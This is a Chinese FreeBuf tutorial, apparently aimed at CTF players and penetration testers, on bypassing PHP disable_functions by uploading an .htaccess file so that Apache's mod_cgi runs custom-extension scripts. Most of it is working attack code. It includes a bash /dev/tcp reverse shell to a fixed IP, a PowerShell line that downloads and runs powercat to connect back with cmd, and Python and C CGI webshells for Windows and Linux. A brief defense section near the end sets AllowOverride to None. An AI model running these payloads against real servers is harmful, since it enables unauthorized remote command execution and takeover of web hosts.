freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境)
2021-05-26 10:09:49

一、前言

在击剑(渗透)过程中,总会遇到disable_functions禁用函数的情况,在前段时间刚结束红帽杯初赛中,有一道bypass disable_functions的web题,虽然蚁剑有插件可以直接打穿,但蚁剑毕竟乃身外之物,身为一个剑客,总得有真才实学,所以针对.htaccess的方法进行了一些研究,总结出了几种姿势。

二、前置知识

.htaccess文件又称为分布式配置文件,顾名思义就是可以作为配置文件实现一些功能,在这里我们可以利用它来添加自定义的后缀并作为cgi程序运行,绕过disable_functions,实现命令执行

三、常用姿势

实现此方法需具备四个条件

1.Apache环境

2.mod_cgi已经启用

httpd.conf配置文件:

3.必须允许.htaccess文件,也就是AllowOverride选项为All,不是none
httpd.conf配置文件:
4.必须有权限写.htaccess文件

第一步:上传.htaccess

将.htaccess文件上传到网站当前目录中,内容如下:

Options +ExecCGI
AddHandler cgi-script .ares

Options指令的作用是控制特定目录将启用哪些服务器特性
**+**表示增加某一条特性
ExecCGI选项表示允许使用mod_cgi模块执行CGI脚本
Options +ExecCGI就表示启用mod_cgi模块执行CGI脚本

AddHandler指定处理程序与扩展名之间的关系
AddHandler cgi-script .ares就表示.ares扩展名以cgi-script进行处理

第二步:上传shell.ares

将shell.ares文件上传到网站当前目录中,内容如下:

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
echo&&whoami

#Content-Type: text/html 指定内容类型,告诉浏览器以html的语法解析此文件,而不是去下载它。

访问shell.ares,成功执行命令

也可以直接反弹shell

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
bash -i >& /dev/tcp/10.11.121.28/1234 0>&1

访问shell.ares后成功反弹

四、其它姿势

Windows环境

1.Powershell反弹shell

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .bat

上传shell.bat

@echo Content-Type: text/html
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 10.11.121.28 -p 1234 -e cmd

访问shell.bat,此时会弹出powershell的窗口

成功反弹

2.Python执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .py

上传shell.py

#!C:\python27\python.exe
print "Content-type:text/html\r\n"
import os
print os.popen('whoami').readline()

第一行要指定python.exe路径

成功执行命令

3.C语言执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .cgi

使用Visual Studio 编写c程序

#define _CRT_SECURE_NO_WARNINGS
\#include <stdio.h> 
\#include <stdlib.h>
int main()
{
	printf("Content-type:text/html\n\n");
	system("whoami > C:\\shell.txt");
	FILE* file = fopen("C:\\shell.txt", "r");
	fseek(file, 0, SEEK_END);
	int size;
	size = ftell(file);
	rewind(file);
	char buffer[100] = { 0 };
	fread(buffer, size, 1, file);
	printf("%s\n", buffer);
	fclose(file);
}

这里是通过命令结果重定向和读取文件的形式

修改项目属性,可以修改输出目录和扩展名



注意根据自己系统选择对应位数

最后Ctrl+B编译C文件

上传生成的C文件shell.cgi
访问shell.cgi,执行命令成功

Linux环境

1.Python执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .py

上传shell.py

#!/usr/bin/python
print "Content-type:text/html\r\n"
import os
print os.popen('whoami').readline()

同样的第一行要指定python路径

成功执行命令


2.C语言执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .cgi

编写c文件

#define _CRT_SECURE_NO_WARNINGS
\#include <stdio.h> 
\#include <stdlib.h>
int main()
{
        printf("Content-type:text/html\n\n");
        system("whoami > /tmp/shell.txt");
        FILE* file = fopen("/tmp/shell.txt", "r");
        fseek(file, 0, SEEK_END);
        int size;
        size = ftell(file);
        rewind(file);
        char buffer[100] = { 0 };
        fread(buffer, size, 1, file);
        printf("%s\n", buffer);
        fclose(file);
}

需要注意的是命令结果需要重定向到有权限的目录下,比如/tmp

使用gcc编译c文件
gcc shell.c -p shell.cgi

上传shell.cgi
成功执行命令

五、防御措施

方法一:禁用用户上传.htaccess文件
方法二:忽略.htaccess文件
编辑apache配置文件
修改AllowOverride的值为None,表示忽略.htaccess文件
image.png

六、总结

网络安全,知己知彼,百战不殆,掌握一种技术的原理很重要,只有掌握了原理,在遇到问题的情况下也能快速找到并解决问题。

ps:很多时候页面报错"HTTP 500 - Internal Server Error 服务器内部错误",都是由于代码有问题。

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录